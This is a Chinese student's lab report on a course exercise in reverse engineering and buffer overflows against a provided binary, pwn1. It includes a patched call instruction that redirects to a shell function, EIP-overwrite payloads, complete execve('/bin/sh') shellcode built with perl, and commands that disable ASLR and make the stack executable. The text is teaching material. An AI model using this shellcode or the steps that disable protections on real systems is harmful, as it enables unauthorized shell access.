实验一 逆向与Bof基础

一、直接修改程序机器指令,改变程序执行流程

使用 objdump -d pwn1 对pwn1文件进行反汇编。

可知main函数跳转至foo函数,先要使main函数跳转至getshell函数,即修改返回地址。

首先使用vi查看器查看pwn1文件,并使用 %!xxd 转换为十六进制查看:

利用 “:e8 d7”查找到需要修改的目标;

将“e8 d7”改为“e8 c3”。

使用 %!xxd -r将文件转换回原文件,保存退出后,再次反汇编进行查看。

此时,main函数返回地址被修改至getshell函数。

二、通过构造输入参数,造成BOF攻击,改变程序执行流

先使用gdb对pwn2文件进行调试:

接下来对函数进行输入数据的测试,意图找到eip中存在4位数。

输入测试数据“1111111122222222333333334444444455555555”,并使用 info r 查看堆栈指令:

此时,eip中存放的是35353535,35是5的ascii码值。

再次输入测试数据“1111111122222222333333334444444412345678”,并使用 info r 查看:

此时eip中存放34333231,即4321。

使用 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 进行输入,再使用 xxd input 查看文件的十六进制:

三、注入Shellcode并执行

首先先做实验准备,先利用 apt-get install execstack 下载··execstack··。

输入命令:

  1. execstack -s pwn1 //设置堆栈可执行
  2. execstack -q pwn1 //查询文件的堆栈是否可执行
  3. more /proc/sys/kernel/randomize_va_space
  4. echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
  5. more /proc/sys/kernel/randomize_va_space

构造输入: perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

其中,\x4\x3\x2\x1为溢出到eip的部分,也就是要修改为shellcode的首地址。

输入 (cat input_shellcode;cat) | ./pwn2 ,运行pwn2,然后打开顶一个终端,输入 ps -ef | grep pwn2 找到pwn2的进程号

利用进程号进入gdb调试:

输入 disassemble foo 查看foo的栈地址:

输入 break *0x080484a5 设置断点,并continue。

然后输入info r,查看栈的地址;

然后输入x/32x 0xffffd35c,并不断修改范围,寻找01020304;

之后在01020304的地址上加4,即d3 5c加4,使其覆盖之后的返回地址。

即填充 perl -e 'print "A" x 32;print "\x60\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 指令。

至此,覆盖成功。

实验成功。

20155216 实验一 逆向与Bof基础的更多相关文章

  1. 20145237 实验一 逆向与Bof基础

    20145237 实验一 逆向与Bof基础 1.直接修改程序机器指令,改变程序执行流程 此次实验是下载老师传给我们的一个名为pwn1的文件. 首先,用 objdump -d pwn1 对pwn1进行反 ...

  2. 网络对抗实验一 逆向及Bof基础实践

    网络对抗实验一 逆向及Bof基础实践 一.实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. ...

  3. 20155201 李卓雯 《网络对抗技术》实验一 逆向及Bof基础

    20155201 李卓雯 <网络对抗技术>实验一 逆向及Bof基础 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,f ...

  4. 20155210 实验一 逆向与Bof基础

    20155210 实验一 逆向与Bof基础 实验内容 1.直接修改程序机器指令,改变程序执行流程 下载目标文件pwn1,反汇编 利用objdump -d pwn1对pwn1进行反汇编 得到: 8048 ...

  5. 20155222卢梓杰 实验一 逆向及Bof基础

    实验一 逆向及Bof基础 1.实验对象为32位可执行文件pwn1,这个程序主要有main.foo.getshell这三个函数,其中foo函数功能为输出输入的字符串,getshell函数功能为打开一个s ...

  6. # 20155207王雪纯 实验一 逆向与Bof基础

    20155207王雪纯 实验一 逆向与Bof基础 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  7. 20155235 《网络攻防》 实验一 逆向及Bof基础实践说明

    20155235 <网络攻防> 实验一 逆向及Bof基础实践说明 实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  8. 20145314郑凯杰《网络对抗技术》实验1 逆向及Bof基础实践

    20145314郑凯杰<网络对抗技术>实验1 逆向及Bof基础实践 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数 ...

  9. 20145338 《网络对抗》逆向及Bof基础实验

    逆向及Bof基础实验 实践目标 ·本次实践的对象是一个名为pwn1的linux可执行文件. ·该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. ·该程序同时包含 ...

随机推荐

  1. SD配置步骤清单

    定义销售组织 定义分销渠道 定义产品组 给公司代码分配销售组织 给销售组织分配销售渠道 给工厂分配销售组织.分销渠道 给销售组织分配产品组 定义销售范围 定义装运点 给工厂分配装运点 维护工厂的装运点 ...

  2. [原创.数据可视化系列之八]使用等d3进行灰度图转伪彩色

    对灰度图进行彩色化是数据可视化中常见的需求,使用d3在客户端比较容易实现,本文使用d3生成图片,并显示: 代码如下: 代码中首先下载数据文件,然后设定d3的色带信息,生成一个空白的canvas元素,并 ...

  3. my big day is coming!

    明天博士学位论文答辩,给自己加油! 期望一切顺利!

  4. SharePoint designer workflow给一个hyperlink类型得field赋值, How to set value to a hyperlink field by designer workflow

    通过worlfow给一个链接类型得field赋值: 格式是: {link}, {linkDisplayname} 一定要注意逗号后面有个空格. 举个栗子: 如果一个链接显示为 Approve / Re ...

  5. ESLint 使用方法

    一.全局安装 npm install -g eslint 二.生成配置文件 在项目根目录执行init,生成.eslintrc文件.在init时,要求根目录存在package.json.当然也可以直接复 ...

  6. Oracle表字段的增删改和重命名

    增加字段语法:alter table tablename add (column datatype [default value][null/not null],….); 说明:alter table ...

  7. Asp.Net Core混合使用cookie和JwtBearer认证方案

    自己有时捣鼓一些小型演示项目,服务端主要是提供Web Api功能.为了便于管理,需要在服务端加一些简单的MVC网页,用管理员身份登录,做一些简单的操作. 因此需要实现一个功能,在一个Asp.Net C ...

  8. python爬虫_入门_翻页

    写出来的爬虫,肯定不能只在一个页面爬,只要要爬几个页面,甚至一个网站,这时候就需要用到翻页了 其实翻页很简单,还是这个页面http://bbs.fengniao.com/forum/10384633. ...

  9. python 进程池pool

    进程池子 当你成千上万的业务需要创建成千上万的进程时,我们可以提前定义一个进程池 from multiprocessing import Pool p = Pool(10) #进程池创建方式,类似空任 ...

  10. python基础学习16----模块

    模块(Module)的引入 import 模块名 调用模块中的函数的方式为 模块名.函数名 这种方式引入会相当于将模块中代码执行一遍,所以如果引入的模块中有输出语句,那么只写import 模块名,运行 ...